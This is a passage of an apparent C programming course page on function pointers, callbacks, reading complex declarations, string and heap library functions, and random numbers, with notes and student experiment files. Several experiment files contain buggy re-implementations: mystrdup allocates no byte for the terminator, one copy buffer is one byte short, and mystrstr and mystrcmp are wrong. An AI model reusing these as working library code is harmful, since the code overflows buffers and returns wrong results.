    array_pointer[1][0] = mul;
    array_pointer[1][1] = div;

    for (int i = 0; i < 2; i++) {
        for (int j = 0; j < 2; j++) {
            z = (*array_pointer[i][j])(x, y);
            printf("%d\n", z);
        }
    }
    return 0;
}
complex-01.cC / 14 lines
#include <stdio.h>

int main()
{
    /* int (*p)[4]; */
    int a[] = {100, 2, 102, 5};

    /* p = &a; */

    for (int i = 0; i < 4; i++)
        printf("%d\n", (a[i]));

    /* return 0; */
}
complex-01.sAssembly / 34 lines
 .file   "complex3.c"
    .text
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "%d\n"
    .section    .text.startup,"ax",@progbits
    .globl  main
    .type   main, @function
main:
    pushq   %rbp
    movl    $2147483673, %eax
    leaq    .LC0(%rip), %rbp
    pushq   %rbx
    salq    $2, %rax
    xorl    %ebx, %ebx
    subq    $24, %rsp
    movq    %rax, (%rsp)
    movabsq $21474836582, %rax
    movq    %rax, 8(%rsp)
.L2:
    movl    (%rsp,%rbx,4), %esi
    movq    %rbp, %rdi
    xorl    %eax, %eax
    incq    %rbx
    call    printf@PLT
    cmpq    $4, %rbx
    jne .L2
    addq    $24, %rsp
    xorl    %eax, %eax
    popq    %rbx
    popq    %rbp
    ret
    .size   main, .-main
    .section    .note.GNU-stack,"",@progbits

Function pointers

double dbl_sum(const double *a, int size)
{
    return size > 0 ? *a + dbl_sum(a+1, size-1) : 0;
}

double (*fptr)(const double *, int);    /* function pointer */
fptr = &dbl_sum;                        /* assign with taking address */
fptr = dbl_sum;                         /*   or without */

double arr[100]
double res;

res = (*fptr)(arr, sizeof(arr)/sizeof(*arr)); /* call with dereferencing */
res = fptr(arr, sizeof(arr)/sizeof(*arr));    /* or without              */
int is_negative(int x) { return x < 0; }
int is_even(int x) { return x % 2 == 0; }

/* pass function pointer as parameter */
void delete_from_list(struct list **p, int (*cond)(int))
{
    struct list *tmp;
    while (*p) {
        if ((*cond)((*p)->data)) {      /* general condition here */
            tmp = *p;
            *p = (*p)->next;
            free(tmp);
        } else
            p = &(*p)->next;
    }
}

delete_from_list(&p, &is_negative);
delete_from_list(&p, &is_even);

A function that returns a pointer to a function: the declarator funret(int x) sits where a pointer's name would be:

#include <stdio.h>


int f(int x, int y) { return x + y; }

int (*funret(int x))(int, int)
{
    printf("%d\n", x);
    return f;
}

int main()
{
    int x = 1, y = 2, z;
    int (*fptr)(int, int);
    fptr = funret(x);
    z = (*fptr)(x, y);
    printf("%d\n", z);
    return 0;
}
1
3
Detailed notes - 4.9.2: Pointers to functions

1

compiled functions have callable addresses

  • a function pointer stores such an address
  • C can call a function through a pointer
  • its representation is determined by the implementation

2

functions can share a profile while performing different operations:

  • dbl_sum: recursively add an array's elements
  • dbl_min: compare the first element with the minimum of the remainder
  • dbl_average: sum divided by element count
  • minimum and average require a nonempty array

common profile: double result, const double* array, int size

  • double (*fptr)(const double *, int): pointer to such a function
  • parameter and return types are part of the pointer type
  • double *fn(const double *, int): function returning double*, not a pointer variable

3

assign a function address:

  • fptr = &dbl_min; or fptr = dbl_min;

call through the pointer:

  • (*fptr)(arr, count); or fptr(arr, count);
  • sizeof(arr) / sizeof(*arr) gives count while arr is an actual array

4

function designators usually convert to function pointers automatically

  • this explains why direct calls through a pointer and explicit dereferencing both work
  • repeated dereferencing can still produce a function designator
  • repeated address-of operators are not generally valid; use the simple forms

5

the original C notation distinguished a function from its address explicitly

  • calling through a pointer traditionally used (*fptr)(arguments)
  • naming a function could already supply its address without &

6

standard C allows fptr(arguments)

  • automatic conversion makes explicit dereferencing unnecessary for a call
  • this does not make functions ordinary data objects

7

choice of call notation is a style decision

  • (*fptr)(...) visibly marks an indirect call
  • fptr(...) is shorter and equally valid

8

generalizing a list operation:

  • deleting negative values, even values, and multiples of 7 needs the same traversal
  • copying the traversal for each condition duplicates maintenance work

9

pass the deletion criterion as int (*crit)(int)

  • is_negative(x): x < 0
  • is_even(x): x % 2 == 0
  • is_div7(x): x % 7 == 0

delete_from_int_list receives the address of the link that points to the current node

  • criterion true: save node, replace its incoming link with next, free saved node
  • criterion false: advance to the address of this node's next field
  • after deletion keep the same link address to examine its new target
  • &first lets the same code remove the first node as well
  • changing the supplied function changes the policy without changing traversal
Tests & experiments (2 files) - 4.9.2: Pointers to functions
Section test02 (04-09)In catalog
complex-00.cC / 25 lines
#include <stdio.h>

void print_element(int (*a)[3], int i, int j)
{
    printf("%d\n", a[i][j]);
}

void (*return_print_element())(int (*)[3], int, int)
{
    return print_element;
}

int main()
{
    int a[2][3] = {
        {0, 1, 2},
        {3, 4, 5},
    };

    void (*print_element_pointer)(int (*)[3], int, int);
    print_element_pointer = return_print_element();
    (*print_element_pointer)(a, 0, 2);

    return 0;
}
funcptr.cC / 20 lines
#include <stdio.h>


int f(int x, int y) { return x + y; }

int (*funret(int x))(int, int)
{
    printf("%d\n", x);
    return f;
}

int main()
{
    int x = 1, y = 2, z;
    int (*fptr)(int, int);
    fptr = funret(x);
    z = (*fptr)(x, y);
    printf("%d\n", z);
    return 0;
}

Callback functions

void callback_sum(int value, void *userdata)
{
    int *sum = userdata;
    *sum += value;
}

void walk_tree(struct tree *node,
               void (*callback)(int, void *),
               void *userdata)
{
    if (node) {
        walk_tree(node->left, callback, userdata);
        callback(node->value, userdata);
        walk_tree(node->right, callback, userdata);
    }
}

int sum = 0;
walk_tree(node, callback_sum, &sum);
Detailed notes - 4.9.3: Callback functions

1

callback: one module supplies a function for another module to call

  • service module finds or produces data
  • calls the supplied function for each available item
  • user here means the module using the service

2

a reusable service knows the callback's required profile

  • receives its address as an argument
  • need not know the caller's internal organization

3

processing can depend on earlier items

  • accumulated state must remain accessible to later callback invocations
  • one global variable ties independent operations to shared storage
  • passing state explicitly permits separate processing contexts

4

void* userdata carries the address of caller-owned state

  • caller supplies both callback and userdata
  • service passes userdata back unchanged for every item
  • callback knows the actual type and interprets the address accordingly

5

generalize binary-tree traversal:

  • replace the fixed printing operation with a callback
  • pass each stored int and the same userdata pointer

6

callback profile: void callback_function(int num, void *userdata)

int_bin_tree_traverse:

  • empty tree: return
  • traverse left subtree
  • callback(current value, userdata)
  • traverse right subtree

printing callback:

  • prints the current number; ignores userdata
  • pass NULL to show explicitly that no state is needed

7

summing the tree requires state across callback invocations

  • initialize int sum = 0
  • pass &sum as userdata
  • callback converts userdata to int* and adds the current number to *sum
  • *(int*)userdata += data expresses the same update directly
  • traversal returns with the accumulated result in the caller's variable

8

minimum, maximum, and count in one traversal:

  • state structure: int count, min, max
  • initialize count to 0; pass the structure's address
  • first item sets both min and max
  • later items update the appropriate bounds
  • every callback increments count
  • after traversal, count == 0 means the tree was empty
  • in that case min and max were never assigned and must not be read
The service passes userdata unchanged; the callback knows its actual type.
A callback combines reusable traversal with private state. Open full size - Editable SVG

Complex declarations and general rules for reading them

Please describe the following functions:

int (*funret(int x))(int, int)
{
    /* ... */
}
Show the solution funret is a function that takes 1 int parameter and returns a pointer to a function that takes 2 int parameters and returns an int.
int (*funvec[10])(int, int);
Show the solution funvec is an array of 10 pointers to functions taking two int parameters and returning an int.
double (*select_segment(int a, int b))[10]
{
    /* ... */
}
Show the solution select_segment is a function taking 2 int parameters and returning a pointer to an array of 10 doubles.
double (*(*selptr)(int, int))[10];
Show the solution selptr is a pointer to a function taking 2 int parameters and returning a pointer to an array of 10 doubles.
int (*replace_f(int (*func)(int, int)))(int, int)
{
    /* ... */
}
Show the solution replace_f is a function that takes one parameter, a pointer to a function taking 2 int parameters and returning int, and returns a pointer to a function taking 2 int parameters and returning int.
int (*(*replace_f_ptr)(int (*)(int, int)))(int, int);
Show the solution replace_f_ptr is a pointer to a function that takes one parameter, that is a pointer to a function taking 2 int parameters and returning int and returns a pointer to a function taking 2 int parameters and returning int.

Etude 4.31 reads such declarations and rewrites them with typedef. fpvec is an array of 15 pointers to functions returning void, whose parameters are an int, a pointer to a function taking (int, void*), and a void*:

void (*fpvec[15])(int, void (*)(int, void*), void*);
typedef void (*pfipv)(int, void*);
typedef void (*pfippv)(int, pfipv, void*);
pfippv *p = fpvec;          /* compiles: the types agree */

repfptr points to a function that takes a pointer to a double function and returns another such pointer:

double (*(*repfptr)(double(*)(double)))(double);

typedef double (*fpdbl)(double);
fpdbl (*fp3)(fpdbl);        /* the same type as repfptr */

A two-dimensional array of function pointers, reached through a pointer to its rows:

#include <stdio.h>

int add(int x, int y) { return x + y; }
int sub(int x, int y) { return x - y; }
int mul(int x, int y) { return x * y; }
int div(int x, int y) { return x / y; }

int main()
{
    int x = 1, y = 2, z;
    int (*array[2][2])(int, int);

    int (*(*array_pointer)[2])(int, int);
    array_pointer = array;

    array_pointer[0][0] = add;
    array_pointer[0][1] = sub;
    array_pointer[1][0] = mul;
    array_pointer[1][1] = div;

    for (int i = 0; i < 2; i++) {
        for (int j = 0; j < 2; j++) {
            z = (*array_pointer[i][j])(x, y);
            printf("%d\n", z);
        }
    }
    return 0;
}
3
-1
2
0
Detailed notes - 4.9.4: Complex declarations and how to read them

1

declarations combine prefixes and suffixes

  • prefixes: *, const, and the base type
  • suffixes: array dimensions and function parameter lists
  • grouping parentheses change how these pieces attach to the name

2

examples of nested declarations:

  • int (*funret(int x))(int, int)
    • funret takes int and returns a pointer to a function taking two ints and returning int
  • int (*funvec[10])(int, int)
    • array of 10 pointers to functions with that two-int profile
  • double (*select_segment(int a, int b))[10]
    • function taking two ints and returning a pointer to a row of 10 doubles
  • double (*(*selptr)(int, int))[10]
    • pointer to a function with the select_segment profile
  • returned row pointers can select a starting row within double matrix[100][10]

3

a function can accept and return the same function-pointer type

  • replace_f installs a new callback and returns the previous one
  • raw declaration: int (*replace_f(int (*func)(int, int)))(int, int)
  • pointer to it: int (*(*replace_f_ptr)(int (*)(int, int)))(int, int)
  • unnamed parameter types omit func but keep the surrounding pointer structure

4

parameter names may appear in a function-pointer declaration

  • nested names can obscure which identifier the outer declaration introduces
  • omitting unnecessary parameter names can help, but does not remove the complexity

5

typedef breaks the declaration into understandable parts

  • typedef int (*fptr)(int, int);
  • fptr (*replace_f_ptr)(fptr);
  • same type as the long declaration
  • knowing the raw rules still helps when reading existing programs

6

reading procedure:

  • find the declared identifier; start with "name is ..."
  • move outward, processing the nearest suffixes before prefixes
  • finish everything inside grouping parentheses before moving outside
  • [n]: array of n elements of ...
  • (parameters): function taking ... and returning ...
  • *: pointer to ...
  • const qualifies the relevant type at that level
  • finish with the base type

7

replace_f_ptr example:

  • pointer to a function
  • parameter: pointer to a function taking two ints and returning int
  • result: pointer to a function taking two ints and returning int
  • read each nested parameter declaration by the same rules

8

funvec example:

  • begin with [10]: array of 10 elements
  • then *: each is a pointer
  • then (int, int): to a function taking two ints
  • final int: each function returns int

9

C restricts how array and function types can be combined

  • a function cannot return an array or another function by value
  • an array cannot have function elements
  • array and function parameter declarations adjust to pointer parameters
  • pointers to arrays/functions supply the required indirection

10

invalid examples illustrate the distinction:

  • void (*f15)(int)(int): attempts to return a function
  • void *m[5](int): attempts to make an array of functions
  • int (*f100)()[15]: attempts to return an array
  • use pointers at the relevant level instead

More on standard library capabilities

Detailed notes - 4.10: More of the standard library

1

standard library supplies many commonly needed operations

  • chapter introduces a selection, not a complete reference
  • author's learning advice: understand the underlying operations before relying on helpers

Additional heap functions

void *calloc(int nmemb, int size); creates nmemb new elements and fills them with zero

void *realloc(void *ptr, int size); changes the memory in ptr to new size and returns it

Etude 4.21 implements a stack of double whose array doubles when it fills. Its stackdbl_resize allocates, copies and frees by hand; realloc(p->d, p->size) does all three in one call:

typedef struct {
    double *d;
    int size;
    int pos;
} stackdbl;
static void stackdbl_resize(stackdbl *p)
{
    double *tmp = p->d;
    p->size *= 2;
    p->d = xmalloc(p->size);
    copy_stackdbl(p->d, tmp, p->pos);
    free(tmp);
}
Show the complete program
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    double *d;
    int size;
    int pos;
} stackdbl;

static void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void stackdbl_init(stackdbl *p)
{
    p->size = sizeof(double);
    p->d = xmalloc(p->size);
    p->pos = 0;
}

void stackdbl_destroy(stackdbl *p) { free(p->d); }

static void copy_stackdbl(double *dst, const double *src, int size)
{
    int i;
    for (i = 0; i < size; i++)
        dst[i] = src[i];
}

static void stackdbl_resize(stackdbl *p)
{
    double *tmp = p->d;
    p->size *= 2;
    p->d = xmalloc(p->size);
    copy_stackdbl(p->d, tmp, p->pos);
    free(tmp);
}

void stackdbl_push(stackdbl *p, double d)
{
    if (sizeof(double) * p->pos >= p->size)
        stackdbl_resize(p);
    p->d[p->pos] = d;
    p->pos++;
}

void stackdbl_pop(stackdbl *p, double *d)
{
    p->pos--;
    *d = p->d[p->pos];
}


int stackdbl_empty(stackdbl *p) { return (p->pos == 0); }

int main()
{
    double d;
    stackdbl s;

    stackdbl_init(&s);
    while (1 == scanf("%lf", &d))
        stackdbl_push(&s, d);

    while (!stackdbl_empty(&s)) {
        stackdbl_pop(&s, &d);
        printf("%f ", d);
    }
    printf("\n");
    stackdbl_destroy(&s);

    return 0;
}
3.000000 2.000000 1.500000
Detailed notes - 4.10.1: Additional heap operations

1

calloc(nmemb, size): allocate space for nmemb elements of size bytes each

  • parameters have type size_t
  • initializes the allocated bytes to zero
  • malloc leaves the allocated bytes uninitialized
  • returns NULL when allocation fails
  • zero bytes are not a portable guarantee of a null pointer or every type's numeric zero

2

realloc(ptr, size): change an existing allocation's size

  • may extend/shrink it in place or move it to a different address
  • preserves the first min(old size, new size) bytes
  • additional bytes are uninitialized
  • successful call replaces the old allocation; use the returned pointer
  • for nonzero size, failure returns NULL and leaves the original allocation valid
  • keep the result in a temporary pointer until success is known
  • direct p = realloc(p, size) can lose the original address on failure
  • allocator preserves bytes without knowing which ones the program still needs

3

special cases:

  • realloc(NULL, size) acts as allocation
  • do not use realloc(ptr, 0) as a portable spelling of free(ptr)
  • zero-size rules vary by C version; explicitly free memory when that is intended
  • malloc, calloc, realloc, and free communicate different intentions

String processing functions

int strlen(const char *str);

May omit the null terminator if strlen(source) >= size:

char *strcpy(char *destination, const char *source);
char *strncpy(char *destination, const char *source, int size);

Duplicates a string into modifiable memory:

char *strdup(const char *s);

Returns negative if s1 < s2, positive if s1 > s2 and zero if equal:

int strcmp(const char *s1, const char *s2);
int strncmp(const char *s1, const char *s2, int n);

Return address of found character and NULL otherwise:

char *strchr(const char *s, int c);     /* first */
char *strrchr(const char *s, int c);    /* last */

Returns address of found needle in haystack and NULL otherwise:

char *strstr(const char *haystack, const char *needle);

Takes only 1 byte from value:

void *memset(void *memory, int value, int size);

memmove checks for overlapping memory but memcpy works faster.

void *memcpy(void *dest, const void *src, int size);
void *memmove(void *dest, const void *src, int size);
Detailed notes - 4.10.2: String operations

1

standard function names make common operations immediately recognizable

  • a reader need not inspect a private implementation to learn what it does
  • implementation performance depends on library, compiler, architecture, and input

2

learning the functions does not replace understanding strings

  • practice walking character arrays and finding their terminating zero
  • otherwise unfamiliar string operations remain difficult

3

string and memory function declarations are in string.h

  • author's exercise: implement the operations yourself before relying on the library

4

strlen(str): length before the terminating zero byte

  • returns size_t, not int
  • equivalent in purpose to the earlier string_length helper

5

strcpy(destination, source): copy a complete string, including its terminating zero

  • destination first, source second
  • destination needs at least strlen(source) + 1 bytes
  • caller must establish sufficient capacity before copying
  • the source and destination must not overlap

6

strncpy(destination, source, n): write exactly n bytes when n is nonzero

  • copy until source ends or n bytes have been written
  • shorter source: fill the remaining destination bytes with zeros
  • source length >= n: no terminating zero is appended
  • destination must have at least n bytes; n has type size_t
  • if using the result as a truncated string, reserve or explicitly set a terminator
  • setting destination[n-1] requires n > 0 and may discard a copied character

7

strcpy and strncpy return the destination address

  • their principal effect is modifying the supplied array
  • returned address is often ignored

8

strdup(source): allocate and return an independent string copy

  • allocation failure returns NULL
  • caller owns the result and eventually calls free
  • allocation is hidden inside the helper, so ownership must remain clear
  • historically a Unix/POSIX function; also included in C23

9

strcmp(s1, s2): compare complete strings lexicographically strncmp(s1, s2, n): compare at most n character positions

  • first unequal bytes, interpreted as unsigned char, determine order
  • an ended string sorts before a longer string with the same prefix
  • result < 0: s1 precedes s2
  • result == 0: no difference in the compared part
  • result > 0: s1 follows s2
  • test the sign; do not assume the result is exactly -1 or 1

10

make equality tests explicit

  • 0 == strcmp(str1, str2) clearly tests for equal strings
  • !strcmp(str1, str2) is valid but less direct to an unfamiliar reader
  • placing zero on the left is the author's style preference

11

strchr(s, c): first occurrence of a character

strrchr(s, c): last occurrence

  • return a pointer into the existing string
  • return NULL if no occurrence exists
  • no copy or new allocation is produced

12

strstr(haystack, needle): first occurrence of a substring

  • haystack: string to search
  • needle: string to find
  • returns a pointer to the match or NULL
  • strstr("abrakadabra", "kada") points 4 characters into the first string

13

memset(memory, value, size): fill a byte region

  • ignores string terminators; operates on exactly size bytes
  • each byte receives value converted to unsigned char
  • size has type size_t; result is the original destination pointer
  • filling with byte value 1 does not generally set every int element to integer 1

14

memcpy(dest, src, size) and memmove(dest, src, size): copy raw bytes

  • both copy size bytes and return dest
  • memcpy requires non-overlapping regions
  • memmove handles overlap as if a temporary copy were used
  • a typical implementation chooses a safe copying direction
  • use memmove to shift the remainder of a string when inserting/deleting characters
  • include the terminating zero when shifting the string's end
Examples & tests (4 files) - 4.10.2: String operations
Book exampleBook example: strstr.cIn catalog
strstr.cC / 57 lines
#include <stdio.h>


const char *strstr0(const char *string, const char *substr)
{
    int d;
    while(*string) {
        for(d = 0; substr[d] && string[d] == substr[d]; d++)
            {}
        if(!substr[d])
            return string;
        string++;
    }
    return NULL;
}

const char *strstr1(const char *string, const char *substr)
{
    int d;
    for(; *string; string++) {
        for(d = 0; string[d]; d++) {
            if(!substr[d])
                return string;
            if(substr[d] != string[d])
                goto next_char;
        }
        return substr[d] ? NULL : string;
    next_char:
        ;
    }
    return NULL;
}

const char *strstr2(const char *string, const char *substr)
{
    int d;
    for(; *string; string++) {
        for(d = 0; string[d]; d++) {
            if(!substr[d])
                return string;
            if(substr[d] != string[d])
                break;
        }
        if(!string[d])
            return substr[d] ? NULL : string;
    }
    return NULL;
}


int main(int argc, char **argv)
{
    printf("[%s]\n", strstr0(argv[1], argv[2]));
    printf("[%s]\n", strstr1(argv[1], argv[2]));
    printf("[%s]\n", strstr2(argv[1], argv[2]));
    return 0;
}
Section test02 (04-10)In catalog
mystr-00.cC / 74 lines
#include <stdio.h>
#include <stdlib.h>

int mystrlen(const char *str)
{
    const char *p;
    for (p = str; *p; p++)
        {}
    return p - str;
}

char *mystrcpy(char *dst, const char *src)
{
    int i;
    if (src < dst) {
        int len = mystrlen(src);
        dst[len] = 0;
        for (i = len - 1; i >= 0; i--)
            dst[i] = src[i];
    } else {
        for (i = 0; src[i]; i++)
            dst[i] = src[i];
        dst[i] = 0;
    }
    return dst;
}

char *mystrncpy(char *dst, const char *src, int size)
{
    int i;
    if (src < dst) {
        int len = mystrlen(src);
        if (0 == src[len])
            dst[len] = 0;
        for (i = len - 1; i >= 0; i--)
            dst[i] = src[i];
    } else {
        for (i = 0 ; i < size && src[i]; i++)
            dst[i] = src[i];
        if (0 == src[i])
            dst[i] = 0;
    }
    return dst;
}

char *mystrdup(const char *s)
{
    int size = mystrlen(s);
    char *d = malloc(size);
    mystrcpy(d, s);
    return d;
}

int main()
{
    const char *str = "Hello, there!";
    int len = mystrlen(str);
    printf("Length of \"%s\" is %d\n", str, len);

    char cp1[len];
    mystrcpy(cp1, str);
    printf("%s\n", cp1);

    char *cp2 = (cp1 + 3);
    mystrncpy(cp2, cp1, 10);
    if (cp2[10-1])
        cp2[10-1] = 0;
    printf("%s\n", cp2);

    char* cp3;
    cp3 = mystrdup(str);
    printf("%s\n", cp3);
    free(cp3);
}
mystr-01.cC / 197 lines
#include <stdio.h>
#include <stdlib.h>

int mystrlen(const char *str)
{
    const char *p;
    for (p = str ; *p; p++)
        {}
    return p - str;
}

char *mystrcpy(char *dst, const char *src)
{
    for ( ; *src; src++, dst++)
        *dst = *src;
    *dst = 0;
    return dst;
}

char *mystrncpy(char *dst, const char *src, int size)
{
    int i;
    for (i = 0 ; i < size && src[i]; i++)
        dst[i] = src[i];
    if (0 == src[i])
        dst[i] = 0;
    return dst;
}

char *mystrdup(const char *s)
{
    int size = mystrlen(s);
    char *d = malloc(size);
    mystrcpy(d, s);
    return d;
}

int mystrcmp(const char *s1, const char *s2)
{
    int diff;
    for ( ; *s1 && *s2; s1++, s2++) {
        diff = *s1 - *s2;
        if (diff != 0)
            return diff;
    }
    if (*s1 == 0 && *s2 == 0)
        return diff;
    else if (*s1 == 0)
        return -1;
    else
        return 1;
}

int mystrncmp(const char *s1, const char *s2, int n)
{
    int i, diff;
    for (i = 0; i < n && s1[i] && s2[i]; i++) {
        diff = s1[i] - s2[i];
        if (diff != 0)
            return diff;
    }
    if (i == n || (s1[i] == 0 && s2[i] == 0))
        return diff;
    else if (s1[i] == 0)
        return -1;
    else
        return 1;
}

char *mystrchr(const char *s, int c) {
    for ( ; *s; s++)
        if (*s == c)
            return (char *) s;
    return NULL;
}

char *mystrrchr(const char *s, int c) {
    char *res = NULL;
    for ( ; *s; s++)
        if (*s == c)
            res = (char *) s;
    return res;
}

char *mystrstr(const char *s, const char *sub) {
    int checking = 0;
    int i = mystrlen(s) - 1;
    int j = mystrlen(sub) - 1;
    for ( ; i >= 0; i--) {
        if (j < 0)
            return (char *) (s + i + 1);
        else if (s[i] == sub[j]) {
            checking = 1;
            j--;
        } else if (checking)
            return NULL;
    }
    return NULL;
}

void *mymemset(void *memory, int value, int size)
{
    char *m = memory;
    for (int i = 0; i < size; i++)
        m[i] = value;
    memory = m;
    return memory;
}

char *mymemcpy(void *dst, const void *src, int size)
{
    char *d = dst;
    const char *s = src;
    for (int i = 0 ; i < size && s[i]; i++)
        d[i] = s[i];
    dst = d;
    return dst;
}

char *mymemmove(char *dst, const char *src, int size)
{
    int i;
    char *d = dst;
    const char *s = src;
    if (s < d)
        for (i = size - 1; i >= 0; i--)
            d[i] = s[i];
    else
        for (i = 0 ; i < size; i++)
            d[i] = s[i];
    dst = d;
    return dst;
}


int main()
{
    const char *str = "Hello, there!";
    int len = mystrlen(str);
    printf("Length of \"%s\" is %d\n", str, len);

    char cp1[20];
    mystrcpy(cp1, str);
    printf("%s\n", cp1);

    int n = 10;
    char cp2[n];
    mystrncpy(cp2, str, n);
    if (cp2[n-1])
        cp2[n-1] = 0;
    printf("%s\n", cp2);

    char* cp3;
    cp3 = mystrdup(str);
    printf("%s\n", cp1);

    cp2[mystrlen(cp2)-1] = 'j';
    printf("%s\n", cp2);

    int diff = mystrcmp(cp2, cp3);
    printf("%d\n", diff);

    diff = mystrncmp(cp2, cp3, 5);
    printf("%d\n", diff);

    char *cp3comma = mystrchr(cp3, ',');
    printf("%s\n", cp3comma);

    char *cp3l = mystrrchr(cp3, 'l');
    if (cp3l)
        printf("%s\n", cp3l);

    char *cp3llo = mystrstr(cp3, "lro");
    if (cp3llo)
        printf("%s\n", cp3llo);

    char mem[10];
    mymemset(mem, 'l', 10);
    mem[9] = 0;
    printf("%s\n", mem);

    char cp4[20];
    len = mystrlen(cp3);
    mymemcpy(cp4, cp3, len);
    cp4[len] = 0;
    printf("%s\n", cp4);

    char *cp5 = (cp4 + 1);
    len = mystrlen(cp4);
    mymemmove(cp5, cp4, len);
    cp5[len] = 0;
    mymemmove(cp4, cp5, len);
    cp4[len] = 0;
    printf("%s\n", cp5);

    free(cp3);
}
mystr-02.cC / 199 lines
#include <stdio.h>
#include <stdlib.h>

int mystrlen(const char *s)
{
    int i;
    for (i = 0; s[i]; i++)
        {}
    return i;
}

char *mystrcpy(char *dst, const char *src)
{
    int i;
    for (i = 0; src[i]; i++)
        dst[i] = src[i];
    dst[i] = 0;
    return dst;
}

char *mystrncpy(char *dst, const char *src, int size)
{
    int i;
    for (i = 0 ; i < size && src[i]; i++)
        dst[i] = src[i];
    for (; i < size; i++)
        dst[i] = 0;
    return dst;
}

char *mystrdup(const char *s)
{
    int size = mystrlen(s) + 1;
    char *d = malloc(size);
    mystrcpy(d, s);
    return d;
}

int mystrcmp(const char *s1, const char *s2)
{
    int i, diff;
    for (i = 0; s1[i] && s2[i]; i++) {
        diff = s1[i] - s2[i];
        if (diff != 0)
            return diff;
    }
    return s1[i] - s2[i];
}

int mystrncmp(const char *s1, const char *s2, int n)
{
    int i, diff;
    for (i = 0; i < n && s1[i] && s2[i]; i++) {
        diff = s1[i] - s2[i];
        if (diff != 0)
            return diff;
    }
    if (i < n)
        diff = s1[i] - s2[i];
    return diff;
}

char *mystrchr(const char *s, int c) {
    int i;
    for (i = 0; s[i]; i++)
        if (s[i] == c)
            return (char *) s + i;
    return NULL;
}

char *mystrrchr(const char *s, int c) {
    int i;
    char *res;
    res = NULL;
    for (i = 0; s[i]; i++)
        if (s[i] == c)
            res = (char *) s + i;
    return res;
}

char *mystrstr(const char *s, const char *sub) {
    int i, j, checking;
    checking = 0;
    i = mystrlen(s) - 1;
    j = mystrlen(sub) - 1;
    for (; i >= 0; i--) {
        if (j < 0)
            return (char *) (s + i + 1);
        else if (s[i] == sub[j]) {
            checking = 1;
            j--;
        } else if (checking)
            return NULL;
    }
    return NULL;
}

void *mymemset(void *memory, int value, int size)
{
    int i;
    char *m;
    m = memory;
    for (i = 0; i < size; i++)
        m[i] = (char) value;
    memory = m;
    return memory;
}

char *mymemcpy(void *dst, const void *src, int size)
{
    int i;
    char *d = dst;
    const char *s = src;
    for (i = 0 ; i < size && s[i]; i++)
        d[i] = s[i];
    dst = d;
    return dst;
}

char *mymemmove(char *dst, const char *src, int size)
{
    int i;
    char *d = dst;
    const char *s = src;
    if (s < d)
        for (i = size - 1; i >= 0; i--)
            d[i] = s[i];
    else
        for (i = 0 ; i < size; i++)
            d[i] = s[i];
    dst = d;
    return dst;
}


int main()
{
    int n;
    char cp1[20], cp2[10], cp4[20], mem[10];
    char *cp3, *cp3comma, *cp3l, *cp3llo, *cp5;
    int diff;

    const char *str = "Hello, there!";

    int len = mystrlen(str);
    printf("Length of \"%s\" is %d\n", str, len);

    mystrcpy(cp1, str);
    printf("%s\n", cp1);

    n = 10;
    mystrncpy(cp2, str, n);
    if (cp2[n-1])
        cp2[n-1] = 0;
    printf("%s\n", cp2);

    cp3 = mystrdup(str);
    printf("%s\n", cp1);

    cp2[mystrlen(cp2)-1] = 'j';
    printf("%s\n", cp2);

    diff = mystrcmp(cp2, cp3);
    printf("%d\n", diff);

    diff = mystrncmp(cp2, cp3, 5);
    printf("%d\n", diff);

    cp3comma = mystrchr(cp3, ',');
    printf("%s\n", cp3comma);

    cp3l = mystrrchr(cp3, 'l');
    if (cp3l)
        printf("%s\n", cp3l);

    cp3llo = mystrstr(cp3, "lro");
    if (cp3llo)
        printf("%s\n", cp3llo);

    mymemset(mem, 'l', 10);
    mem[9] = 0;
    printf("%s\n", mem);

    len = mystrlen(cp3);
    mymemcpy(cp4, cp3, len);
    cp4[len] = 0;
    printf("%s\n", cp4);

    cp5 = (cp4 + 1);
    len = mystrlen(cp4);
    mymemmove(cp5, cp4, len);
    cp5[len] = 0;
    mymemmove(cp4, cp5, len);
    cp4[len] = 0;
    printf("%s\n", cp5);

    free(cp3);
    return 0;
}

Pseudorandom number generation

Open /dev/random as file if you want true random numbers.

srand(time(NULL)); once, at the start of program

random = 1 + (int)(12.0*rand()/(RAND_MAX + 1.0)); to get a pseudo-random number [1, 12]

rand produces a reproducible sequence from its seed. For unpredictable values, such as a seed, Linux offers /dev/random:

#include <stdio.h>

int main()
{
    FILE *f;
    int random;
    f = fopen("/dev/random", "r");
    if (!f) {
        perror("/dev/random");
        return 1;
    }
    random = fgetc(f);
    printf("%d\n", random);

    fclose(f);
    return 0;
}
Detailed notes - 4.10.3: Pseudorandom numbers

1

randomness is useful for games, simulation, and security

  • these uses require different guarantees
  • security needs unpredictability to someone trying to guess the result

2

operating systems gather unpredictable information from available sources

  • entropy helps initialize a secure random generator
  • output quality depends on the generator and its initialization

3

the book demonstrates obtaining random bytes from Linux /dev/random

  • read bytes through file operations rather than inventing a seed
  • security-sensitive generation should use the operating system's secure random facility

4

ordinary pseudorandom sequences can suffice for nonsecurity tasks

  • deterministic computation produces varied-looking numbers cheaply

5

stdlib.h declares rand and srand

  • rand() returns int in 0 ... RAND_MAX, inclusive
  • RAND_MAX depends on the implementation
  • without an explicit seed, behavior is as if srand(1) had been called
  • same seed and implementation reproduce the same sequence

6

srand(seed) initializes generator state

  • call once before generating a sequence
  • choose a changing seed if different runs should normally differ
  • initialization does not itself return a random value

7

ordinary demonstration seed: srand(time(NULL))

  • time is declared in time.h; on Unix it supplies time in seconds since the epoch
  • executions within the same second can obtain the same seed
  • repeatedly reseeding before rand can repeatedly restart the same sequence

8

time-based seeding is unsuitable for passwords and secrets

  • knowing the generation day leaves only 86400 possible second-based seeds
  • rand is not a cryptographic generator even with a less obvious seed

9

mapping results to a smaller interval:

  • rand() % 12 + 1 produces values from 1 through 12
  • low-bit quality and uneven division of the original range can bias the result
  • book's scaled alternative: 1 + (int)(12.0 * rand() / (RAND_MAX + 1.0))
  • scaling uses the full value but does not guarantee an exactly uniform distribution
  • exact uniformity requires a suitable generator and unbiased range selection
Tests & experiments (3 files) - 4.10.3: Pseudorandom numbers
Section test03 (04-10)In catalog
random-00.cC / 17 lines
#include <stdio.h>

int main()
{
    FILE *f;
    int random;
    f = fopen("/dev/random", "r");
    if (!f) {
        perror("/dev/random");
        return 1;
    }
    random = fgetc(f);
    printf("%d\n", random);

    fclose(f);
    return 0;
}
random-01.cC / 48 lines
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
